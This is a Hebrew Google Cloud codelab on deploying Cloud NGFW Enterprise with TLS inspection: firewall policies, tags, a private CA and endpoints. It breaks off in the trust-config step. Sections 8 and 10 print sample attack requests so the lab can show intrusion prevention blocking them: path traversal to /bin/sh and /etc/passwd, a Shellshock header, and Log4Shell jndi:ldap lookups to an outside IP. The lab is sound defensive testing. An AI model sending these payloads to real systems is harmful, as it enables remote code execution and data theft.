Cloud NGFW Enterprise Codelab [עם בדיקת TLS]

1. מבוא

Cloud Next Generation Firewall ‏ (NGFW)

‫Cloud Next Generation Firewall הוא שירות חומת אש מבוזר לחלוטין עם יכולות הגנה מתקדמות, מיקרו-פילוח וכיסוי נרחב להגנה על עומסי העבודה שלכם ב-Google Cloud מפני מתקפות פנימיות וחיצוניות.

היתרונות של Cloud NGFW:

שירות חומת אש מבוזרת: Cloud NGFW מספק אכיפה מבוססת-מארח ומבוזרת לחלוטין בכל עומס עבודה, כדי לאפשר ארכיטקטורת אבטחה של אפס אמון.
הגדרה ופריסה פשוטות: Cloud NGFW מטמיע מדיניות חומת אש היררכית ורשתית שאפשר לצרף לצומת בהיררכיית המשאבים. המדיניות הזו מספקת חוויית שימוש עקבית בחומת האש בכל היררכיית המשאבים של Google Cloud.
שליטה גרנולרית ומיקרו-פילוח: השילוב של מדיניות חומת אש ותגים שמנוהלים על ידי ניהול זהויות והרשאות גישה (IAM) מספק שליטה מדויקת בתעבורה מצפון לדרום וממזרח למערב, עד לרמת המכונה הווירטואלית הבודדת, ברשתות של ענן וירטואלי פרטי (VPC) ובארגונים.

‫Cloud NGFW זמין ברמות הבאות:

Cloud Next Generation Firewall Essentials
Cloud Next Generation Firewall Standard
Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

ב-Cloud NGFW Enterprise נוסף שירות למניעת פריצות (IPS), יכולת של שכבה 7, למארג חומת האש המבוזרת של Google Cloud. יש תמיכה בבדיקת TLS כדי לאפשר בדיקה של תנועת נתונים מוצפנת באמצעות TLS.

עכשיו אפשר לפרוס בדיקות מהימנות של חומת אש מהדור הבא (NGFW) ברמה 7 עם אמצעי בקרה מפורטים, בלי לבצע שינויים בארכיטקטורת הרשת או בהגדרות הניתוב.

כדי להפעיל ולפרוס את אמצעי הבקרה של חומת אש בשכבה 7 עם IPS, צריך לבצע את המשימות הבאות:

יוצרים קבוצה של נקודות קצה מנוהלות של חומת אש אזורית ב-Google Cloud.
אופציונלי: יוצרים מדיניות לבדיקת TLS.
אפשר ליצור הגדרת אמון.
משייכים את נקודות הקצה האלה לרשתות של הענן הווירטואלי הפרטי (VPC) שבהן רוצים להשתמש בשירות Cloud NGFW Enterprise.
אפשר לבצע שינויים פשוטים במדיניות הקיימת של חומת האש ובכללי חומת האש כדי לציין את פרופילי מניעת האיומים עבור נתיבי התנועה השונים.

מדיניות חומת אש בין רשתות

מדיניות חומת אש בין רשתות פועלת כקונטיינר לכללי חומת אש. כללים שמוגדרים במדיניות חומת אש בין רשתות לא נאכפים בשום מקום עד שהמדיניות משויכת לרשת VPC. לכל רשת VPC יכולה להיות משויכת מדיניות חומת אש אחת. מדיניות חומת אש ברשת תומכת בתגים שמנוהלים על ידי IAM (או פשוט בתגים) בכללי חומת האש, שמחליפים את תגי הרשת הנוכחיים ויכולים לשמש לזיהוי עומס העבודה.

שיתוף מדיניות חומת אש בין רשתות ברשתות ושילוב עם תגים שמנוהלים על ידי IAM מפשטים מאוד את ההגדרה והניהול של חומות אש.

עם ההשקה של מדיניות חומת אש בין רשתות, מדיניות חומת האש של Google Cloud כוללת עכשיו את הרכיבים הבאים:

מדיניות חומת אש היררכית
כללי חומת אש של VPC
מדיניות חומת אש בין רשתות ( גלובלית ואזורית)

מדיניות חומת אש היררכית נתמכת בצמתים של ארגונים ותיקיות בהיררכיית המשאבים, בעוד שכללי חומת אש של VPC ומדיניות חומת אש בין רשתות חלים ברמת ה-VPC. ההבדל העיקרי בין כללי חומת אש של VPC לבין מדיניות חומת אש בין רשתות הוא שכללי חומת אש של VPC אפשר להחיל רק על רשת VPC אחת, בעוד שמדיניות חומת אש בין רשתות אפשר לצרף לרשת VPC אחת או לקבוצה של רשתות VPC, בין היתר כדי לבצע חבילת עדכונים.

בנוסף, יש לנו גם את כללי חומת האש המשתמעים שמגיעים עם כל רשת VPC:

כלל יציאה שהפעולה שלו היא 'אישור' והיעד הוא 0.0.0.0/0
כלל כניסה שהפעולה שלו היא דחייה, והמקור הוא 0.0.0.0/0

כברירת מחדל, רצף האכיפה מוצג בדיאגרמה הבאה:

חשוב לדעת: אפשר להחליף את סדר האכיפה בין כללי חומת האש ב-VPC לבין מדיניות חומת האש הגלובלית של הרשת. הלקוחות יכולים לציין את סדר האכיפה בכל שלב באמצעות פקודת gcloud.

תגים

התגים החדשים שמשולבים בכללים של מדיניות חומת האש ברשת הם משאבים של צמדי מפתח/ערך שמוגדרים ברמת הארגון או ברמת הפרויקט בהיררכיית המשאבים של Google Cloud. תג כזה מכיל אמצעי בקרה לגישה ב-IAM שמציינים מי יכול לבצע פעולות בתג ואיזה פעולות. לדוגמה, הרשאות ניהול זהויות והרשאות גישה (IAM) מאפשרות לציין אילו חשבונות משתמשים יכולים להקצות ערכים לתגים ואילו חשבונות משתמשים יכולים לצרף תגים למשאבים. אם כלל חומת אש ברשת מפנה לתג, צריך להחיל אותו על משאב כדי לאכוף אותו.

התגים פועלים לפי מודל ירושת המשאבים של Google Cloud, כלומר התגים והערכים שלהם מועברים בהיררכיה מההורים שלהם. כתוצאה מכך, יכול להיות שתגים ייווצרו במקום אחד ואז ישמשו תיקיות ופרויקטים אחרים בהיררכיית המשאבים. פרטים על תגים והגבלת גישה זמינים בדף הזה.

חשוב לא לבלבל בין תגים לבין תגים של רשתות. האחרונים הם מחרוזות שאפשר להוסיף למכונות של Compute Engine. הן משויכות למכונה ונעלמות כשהמכונה מוצאת משימוש. כללי חומת האש של VPC עשויים לכלול תגי רשת, אבל מכיוון שהם לא נחשבים למשאבי ענן, הם לא כפופים לבקרת גישה של IAM.

הערה: במסמך הזה אנחנו משתמשים לסירוגין במונחים Tags ו-IAM-governed Tags.

מה תפַתחו

ב-Codelab הזה נדרש פרויקט יחיד ויכולת ליצור רשת VPC ולנהל מספר משאבי רשת ואבטחה. ההדגמה תראה איך Cloud NGFW Enterprise יכול לספק פונקציונליות של IPS באמצעות:

בדיקת תהליכי אינטרנט בכיוון צפון באמצעות בדיקת TLS
בדיקת זרימות בתוך VPC [ממזרח למערב] באמצעות בדיקת TLS

הזרימות שייבדקו ייבחרו באמצעות פרמטרים תואמים של Cloud Firewall, כולל 5-tuple (כתובת IP של המקור, כתובת IP של היעד, פרוטוקול, יציאת המקור, יציאת היעד) ותגים.

מצב הסיום של בסיס הכללים של מדיניות חומת האש בין רשתות יהיה דומה לטבלה הבאה:

עדיפות	כיוון	Target	מקור	יעד	פעולה	סוג
100	תעבורת נתונים נכנסת (Ingress)	Server_Tag	בדיקות תקינות	הכול	אישור	Essentials
200	תעבורת נתונים נכנסת (Ingress)	Client_Tag, Server_Tag	IAP	הכול	אישור	Essentials
800	תעבורת נתונים נכנסת (Ingress)	Server_Tag	10.0.0.0/24	10.0.0.0/24	בדיקה ברמה 7	Enterprise
850	תעבורת נתונים יוצאת (egress)	Client_Tag	הכול	10.0.0.0/24	אישור	Essentials
900	תעבורת נתונים יוצאת (egress)	Client_Tag	הכול	הכול	בדיקה ברמה 7	Enterprise

מה תלמדו

איך יוצרים מדיניות חומת אש בין רשתות.
איך ליצור תגים ולהשתמש בהם עם מדיניות חומת אש בין רשתות.
איך מגדירים את Cloud NGFW Enterprise ומשתמשים בו עם בדיקת TLS.

מה תצטרכו

פרויקט Google Cloud.
ידע בפריסת מופעים ובהגדרת רכיבי רשת.
ידע בהגדרת חומות אש של VPC.

‫2. לפני שמתחילים

יצירה או עדכון של משתנים

ב-Codelab הזה נעשה שימוש במשתנים כדי להקל על הטמעת הגדרות gcloud ב-Cloud Shell.

ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע שבתוך הסוגריים לפי הצורך:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. הפעלת ממשקי ה-API

אם עדיין לא עשיתם את זה, מפעילים את ממשקי ה-API:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. יצירת נקודות קצה של Cloud NGFW Enterprise

יצירת נקודת הקצה של Cloud NGFW Enterprise נמשכת כ-20 דקות, לכן היא תיווצר קודם וההגדרה הבסיסית יכולה להתבצע במקביל ליצירת נקודת הקצה.

יוצרים את פרופיל האבטחה ואת קבוצת פרופילי האבטחה:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

הפלט אמור להיראות כך:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

מוודאים שהמשאבים נוצרו בהצלחה:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

יוצרים את נקודת הקצה של Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

מריצים את הפקודה הבאה כדי לוודא שנקודת הקצה נוצרת (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

תהליך היצירה נמשך כ-20 דקות. עוברים לקטע 'הגדרת הבסיס' כדי ליצור את המשאבים הנדרשים במקביל.

5. הגדרה בסיסית

רשת VPC ותת-רשת

רשת VPC ותת-רשת

יוצרים את רשת ה-VPC ואת רשת המשנה:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

יוצרים את Cloud Router ואת שער Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

קולאז' מתמונה

יוצרים את המכונות של הלקוח ושל שרת האינטרנט:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

תגים ברמת הפרויקט

במקרה הצורך, מקצים למשתמש את ההרשאה tagAdmin:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

יוצרים את המפתח והערכים של התג ברמת הפרויקט:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

מקשרים את התגים למופעים:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

מדיניות חומת אש גלובלית של רשת

יוצרים מדיניות גלובלית של חומת אש ברשת:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

יוצרים את הכללים הנדרשים של Cloud Firewall Essential כדי לאפשר תעבורת נתונים מטווחי בדיקת התקינות ושרת ה-proxy לאימות זהויות:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

יוצרים את הכללים הנדרשים ב-Cloud Firewall כדי לאפשר תעבורת נתונים נכנסת (ingress) ממזרח למערב / בתוך תת-רשת מהטווחים הספציפיים (הכללים האלה יעודכנו כדי להפעיל את Cloud NGFW Enterprise עם בדיקת TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

משייכים את מדיניות חומת האש בענן לרשת ה-VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. שיוך נקודת קצה של Cloud Firewall

מגדירים את משתני הסביבה אם עדיין לא עשיתם את זה או אם אתם מעדיפים את הגישה של הסקריפט.

מוודאים שיצירת נקודת הקצה של חומת האש ב-Cloud הושלמה בהצלחה. ממשיכים רק כשהסטטוס הוא ACTIVE (במהלך היצירה הסטטוס הצפוי הוא CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט אמור להיראות כך (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

משייכים את נקודת הקצה של Cloud Firewall לרשת ה-VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

תהליך השיוך נמשך כ-10 דקות. ממשיכים לקטע TLS רק אחרי שהסטטוס מוצג כ-ACTIVE (במהלך היצירה הסטטוס הצפוי הוא CREATING):

gcloud network-security firewall-endpoint-associations list

הפלט הצפוי לאחר השלמת הפעולה:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. הגדרת משאבי TLS

יוצרים מאגר של רשויות אישורים. המשאב הזה ישמש לאחסון אישור ה-CA הבסיסי שאנחנו יוצרים עבור NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

יוצרים את רשות האישורים (CA) העליונה. זהו אישור ה-CA שישמש לחתימה על אישורים נוספים לבקשות דרך NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

אם מוצגת ההודעה הבאה, משיבים y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

יוצרים חשבון שירות. חשבון השירות הזה ישמש לבקשת אישורים ל-NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

הגדרת הרשאות IAM לחשבון השירות:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

יוצרים את קובץ ה-YAML של מדיניות ה-TLS. הקובץ יכיל מידע על המשאבים הספציפיים:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

ייבוא המדיניות לבדיקת TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

מעדכנים את השיוך של נקודת הקצה כדי להפעיל TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

מקבלים את אישור ה-CA ומוסיפים אותו למאגר ה-CA של הלקוח:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

מעבירים את אישור ה-CA ללקוח:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

מתחברים ל-VM באמצעות SSH, מעבירים את אישור ה-CA אל ‎ /usr/local/share/ca-certificates ומעדכנים את מאגר ה-CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

יוצאים בחזרה אל Cloud Shell.

תהליך החתימה על אישור השרת:

ב-Cloud Shell, מתקינים את ספריית ההצפנה Pyca באמצעות הפקודה pip:

pip install --user "cryptography>=2.2.0"

כדי לאפשר ל-Google Cloud SDK להשתמש בספריית הקריפטוגרפיה Pyca, צריך להפעיל חבילות אתרים.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

יוצרים את אישור השרת:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

הפעולה הזו תיצור קובץ cert.pem וקובץ key.pem ב-Cloud Shell. לאחר מכן, מעבירים את האישור והמפתח לשרת.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

מתחברים לשרת באמצעות SSH כדי לעדכן את פרטי האישור של Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

מעבירים את האישור ואת המפתח לתיקייה ספציפית:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

מעדכנים את הגדרות ה-SSL כדי להשתמש באישור חתום:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

הפעלה מחדש של Apache:

sudo systemctl restart apache2

מאמתים את הסטטוס של Apache:

sudo systemctl status apache2

הוא צריך להיות פעיל (פועל).

יוצאים מהמכונה הווירטואלית וממשיכים ב-Cloud Shell.

8. אימות הקישוריות צפונה וצפון-מזרחית

מריצים את הפקודות הבאות ב-Cloud Shell ורושמים את כתובות ה-IP של היעד לשימוש:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

פותחים כרטיסייה חדשה ומתחילים חיבור SSH למכונה הווירטואלית של הלקוח דרך IAP (צריך להגדיר את המשתנים בכרטיסייה החדשה):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

מריצים את הפקודות שלמטה ורושמים את כתובות ה-IP של היעד לשימוש. יוצרים את המשתנים ומחליפים את הערכים שבתוך הסוגריים בכתובות ה-IP שצוינו בשלב הקודם. חשוב לוודא שאפשר להגיע אליהם:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

מריצים את הפקודה curl על כתובת ה-IP הפרטית ומוודאים שאפשר להגיע אליה:

curl https://$target_privateip --max-time 2

תוצאות צפויות לבקשת curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

שליחת מתקפות לדוגמה לכתובת ה-IP. שרת האינטרנט צריך להגיב לכל הבקשות, כדי לוודא שאין בדיקה או מניעה ברמה 7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

דוגמה לתוצאות צפויות (כתובת IP פרטית):

באופן דומה, שולחים בקשות ליעד באינטרנט:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

דוגמה לתוצאות צפויות (יעד באינטרנט):

יוצאים מהטרמינל של ה-VM וחוזרים אל Cloud Shell.

9. יצירה ועדכון של כללים לחומת האש לבדיקת TLS

קודם לכן, הגדרנו כלל חומת אש שמאפשר תעבורת נתונים נכנסת (ingress) לשרת שלנו מתת-הרשת הפנימית. מעכשיו נעדכן את כללי ה-Ingress הקיימים ונגדיר את הפעולה ל-apply_security_profile_group. הפעולה הזו תפעיל בדיקה של תעבורה מזרחית/מערבית ברמה 7 עם TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

יוצרים כלל חדש לבדיקת L7 צפונית עם TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

כדי למנוע בדיקה כפולה, יוצרים כלל חדש כדי לאפשר יציאה (EGRESS) של תעבורה מזרחית/מערבית.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

הערה: בדיקה כפולה היא מצב שבו גם משאב המקור וגם משאב היעד בודקים את אותם תהליכים.

ממכונת ה-VM של הלקוח, כלל 900 מיירט את הזרימה כשמתרחש EGRESS ב-TCP:443.

ממכונת ה-VM של השרת, כלל 800 מיירט את הזרימה כשמתרחשת תנועה נכנסת (INGRESS) ב-TCP:443

כדי למנוע בדיקה כפולה, אנחנו יוצרים את כלל 850 שיאפשר יציאה (EGRESS) ב-TCP:443 לרשת המשנה הפנימית.

כך תבטיחו את הפעולות הבאות:

תנועת נתונים מזרחית/מערבית נבדקת על ידי כלל INGRESS

תנועה צפונית נבדקת על ידי כלל היציאה

תנועה יוצאת נבדקת על ידי כלל INGRESS

10. אימות של בדיקת TLS של תעבורה יוצאת

חוזרים לכרטיסייה של ה-VM של הלקוח או מתחברים מחדש:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

שליחת התקפות לדוגמה ליעד באינטרנט:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

לא מתקבלות תגובות בהתאם לפלט הצפוי שמוצג בהמשך, מה שמאשר שהמתקפות לדוגמה נחסמות עכשיו:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

מגדירים את המשתנה לכתובת ה-IP של השרת מהשלב הקודם:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

שולחים בקשות TLS לדוגמה לשרת:

curl https://$target_privateip --max-time 2

הפלט אמור להיראות כך:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

למה הבקשה הזו נכשלה? הסיבה לכך היא שחומת האש מקבלת אישור מהשרת שאין לו אמון. במקרה כזה, יועבר אישור בחתימה עצמית בחזרה ללקוח. כדי להפעיל את האמון, צריך להוסיף את אישור ה-CA כחלק מהגדרת האמון.

חוזרים אל Cloud Shell.

11. הגדרת הגדרות האמון

מקבלים את אישור ה-CA הבסיסי ומגדירים אותו כמשתנה עם פורמט מתאים.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

